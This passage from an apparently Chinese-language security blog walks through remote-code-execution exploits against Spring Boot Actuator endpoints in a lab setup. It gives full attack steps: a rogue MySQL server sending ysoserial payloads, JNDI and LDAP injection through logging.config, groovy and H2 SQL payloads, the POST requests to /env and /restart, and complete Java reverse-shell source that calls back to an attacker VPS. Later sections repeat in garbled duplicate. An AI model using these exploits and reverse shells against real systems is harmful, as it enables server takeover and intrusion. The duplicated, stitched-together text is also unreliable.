    server_socks.bind((HOST, PORT))
    server_socks.listen(1)

    run_mysql_server()

可以看到,我们假设了一个虚假的mysql数据库,当目标服务器访问vps时,vps会把恶意payload发送给目标服务器

接着,我们构造恶意的payload,该文件放置python脚本同一文件夹下

java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

步骤三:设置 spring.datasource.url 属性

修改此属性会暂时导致网站所有的正常数据库服务不可用,会对业务造成影响,请谨慎操作!
mysql-connector-java 5.x 版本设置属性值为:

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

mysql-connector-java 8.x 版本设置属性值为:

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.url","value":"对应属性值"}

img

步骤四:刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

img

步骤五:触发数据库查询

尝试访问网站已知的数据库查询的接口,例如:/product/list ,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发
对于该靶场,我在src/main/java/code/landgrey/controllers/ProductController.java找到了可访问的接口:
img

步骤六:恢复正常 jdbc url

反序列化漏洞利用完成后,使用步骤三的方法恢复步骤一中记录的spring.datasource.url的原始value值

存在的问题

目前触发数据库查询后,已经成功将payload发送给了目标服务器。但是目标服务器在接收payload时存在错误,尚不清楚具体原因,猜测是恶意python脚本与靶场环境springboot2.x不兼容,或靶场内部各组件不同版本之间存在兼容问题。我的靶场环境主要组件及对应版本是Ubuntu18.04mysql8.0.12commons-collections4.4springboot2.2.1.RELEASW。有在其他环境(例如windows+IDEA)复现成功的小伙伴记得告诉我*(ToT)*
img
img

0x09:restart logging.config logback JNDI RCE

https://github.com/LandGrey/SpringBootVulExploit#0x07h2-database-console-jndi-rce上的该漏洞复现方式已经不能用了。但由于该漏洞与0x04: jolokia logback JNDI RCE原理相近,所以我使用该漏洞的方式进行复现

利用条件

  • 可以 POST 请求目标网站的 /env 接口设置属性

  • 可以 POST 请求目标网站的 /restart 接口重启应用

  • 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过

  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出

  • HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出

  • JNDI 服务返回的 object 需要实现 javax.naming.spi.ObjectFactory 接口,否则会导致程序异常退出

漏洞利用

步骤一:托管 xml 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以xml结尾的hack.xml文件,实际内容要根据步骤二中使用的JNDI服务来确定:

<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>

步骤二:准备要执行的 Java 代码

/**
 *  javac -source 1.5 -target 1.5 JNDIObject.java
 *
 *  Build By LandGrey
 * */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try{
            String ip = "your-vps-ip";
            String port = "443";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                    } else {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                    }
                } else {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{"/bin/bash"};
                    } else {
                        cmd = new String[]{"/bin/sh"};
                    }
                }
            } else {
                cmd = new String[]{"cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available() > 0) {
                    so.write(pi.read());
                }
                while(pe.available() > 0) {
                    so.write(pe.read());
                }
                while(si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
}

img
然后将生成的 JNDIObject.class 文件拷贝到步骤二中的网站根目录。

步骤三:架设恶意 ldap 服务

下载 marshalsec

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests

这将在target目录下生成marshalsec-0.0.3-SNAPSHOT-all.jar

接下来使用使用下面命令架设对应的ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

使用nc监听443端口

nc -lvp 443

步骤四:设置 logging.config 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/hack.xml

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/hack.xml"}

img

步骤五:重启应用

spring 1.x

POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/restart
Content-Type: application/json

img

img

程序异常退出问题

JNDI服务返回的object需要实现javax.naming.spi.ObjectFactory接口,否则可能会导致程序异常退出
我并未实现该接口,却没有遇到程序异常退出的问题。如果你遇到了程序异常退出问题,可以尝试修改我们的java注入代码。比如使用如下代码:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import javax.naming.Context;
import javax.naming.Name;
import java.io.File;
import java.io.IOException;
import java.util.Hashtable;

public class CommandRaw extends AbstractTranslet implements javax.naming.spi.ObjectFactory{
    private static String cmd = "open -a Calculator";

    public CommandRaw() {
        String[] var1;
        if (File.separator.equals("/")) {
            var1 = new String[]{"/bin/bash", "-c", cmd};
        } else {
            var1 = new String[]{"cmd", "/C", cmd};
        }

        try {
            Runtime.getRuntime().exec(var1);
        } catch (IOException var3) {
            var3.printStackTrace();
        }

    }

    public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
    }

    public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
        return new Object();
    }
}

详情参考https://landgrey.me/blog/21/

0x0A:restart logging.config groovy RCE

该漏洞和0x09原理很相近,唯一的差别就是该漏洞注入groovy文件中的代码而不是架设在ldap服务上的class文件

利用条件

  • 可以 POST 请求目标网站的 /env 接口设置属性

  • 可以 POST 请求目标网站的 /restart 接口重启应用

  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出

  • HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出

  • 环境中需要存在 groovy 依赖,否则会导致程序异常退出

漏洞复现

步骤一:托管 groovy 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以groovy结尾的hack.groovy文件,内容为需要执行的 groovy 代码,比如:

Runtime.getRuntime().exec("mkdir /success")

步骤二:设置 logging.config 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.groovy

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}

img

步骤三:重启应用

spring 1.x

POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/restart
Content-Type: application/json

img
img

0x0B:restart spring.main.sources groovy RCE

该漏洞和0x0A几乎一样,唯一的差别就是POST设定的属性不同

利用条件

  • 可以 POST 请求目标网站的/env接口设置属性

  • 可以 POST 请求目标网站的/restart接口重启应用

  • 目标可以请求攻击者的HTTP服务器(请求可出外网),否则restart会导致程序异常退出

  • HTTP 服务器如果返回含有畸形groovy语法内容的文件,会导致程序异常退出

  • 环境中需要存在groovy依赖,否则会导致程序异常退出

漏洞复现

步骤一:托管 groovy 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以groovy结尾的hack.groovy文件,内容为需要执行的 groovy 代码,比如:

Runtime.getRuntime().exec("mkdir /success_0x0B")

步骤二:设置spring.main.sources属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.main.sources=http://your-vps-ip/hack.groovy

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.main.sources","value":"http://your-vps-ip/hack.groovy"}

img

步骤三:重启应用

spring 1.x

POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/restart
Content-Type: application/json

img
img

0x0C:restart spring.datasource.data h2 database RCE

这个和0x0A0x0B依然非常相近

利用条件

  • 可以 POST 请求目标网站的 /env 接口设置属性

  • 可以 POST 请求目标网站的 /restart 接口重启应用

  • 环境中需要存在 h2database、spring-boot-starter-data-jpa 相关依赖

  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出

  • HTTP 服务器如果返回含有畸形 h2 sql 语法内容的文件,会导致程序异常退出

漏洞复现

步骤一:托管sql文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以任意后缀名结尾的文件(这里用hack.sql),内容为需要执行的 sql 代码,比如:

CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','mkdir /success_0x0C');

上面payload中的 'T5’方法只能 restart 执行一次;后面 restart 需要更换新的方法名称 (如 T6) 和设置新的 sql URL 地址,然后才能被 restart 重新使用,否则第二次 restart 重启应用时会导致程序异常退出

步骤二:设置spring.datasource.data属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.data=http://your-vps-ip/hack.sql

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.data","value":"http://your-vps-ip/hack.sql"}

img

步骤三:重启应用

spring 1.x

POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/restart
Content-Type: application/json

img
img

dir /success_0x0B")




### 步骤二:设置spring.main.sources属性



spring 1.x



```plain
POST /env
Content-Type: application/x-www-form-urlencoded

spring.main.sources=http://your-vps-ip/hack.groovy

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.main.sources","value":"http://your-vps-ip/hack.groovy"}

[外链图片转存中…(img-oNwESEFm-1695201345208)]

步骤三:重启应用

spring 1.x

POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/restart
Content-Type: application/json

[外链图片转存中…(img-KVakrg2J-1695201345209)]
[外链图片转存中…(img-76aeksID-1695201345209)]

0x0C:restart spring.datasource.data h2 database RCE

这个和0x0A0x0B依然非常相近

利用条件

  • 可以 POST 请求目标网站的 /env 接口设置属性

  • 可以 POST 请求目标网站的 /restart 接口重启应用

  • 环境中需要存在 h2database、spring-boot-starter-data-jpa 相关依赖

  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出

  • HTTP 服务器如果返回含有畸形 h2 sql 语法内容的文件,会导致程序异常退出

漏洞复现

步骤一:托管sql文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以任意后缀名结尾的文件(这里用hack.sql),内容为需要执行的 sql 代码,比如:

CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','mkdir /success_0x0C');

上面payload中的 'T5’方法只能 restart 执行一次;后面 restart 需要更换新的方法名称 (如 T6) 和设置新的 sql URL 地址,然后才能被 restart 重新使用,否则第二次 restart 重启应用时会导致程序异常退出

步骤二:设置spring.datasource.data属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.data=http://your-vps-ip/hack.sql

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.data","value":"http://your-vps-ip/hack.sql"}

[外链图片转存中…(img-fiKV7rdJ-1695201345209)]

步骤三:重启应用

spring 1.x

POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/restart
Content-Type: application/json

img
img

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值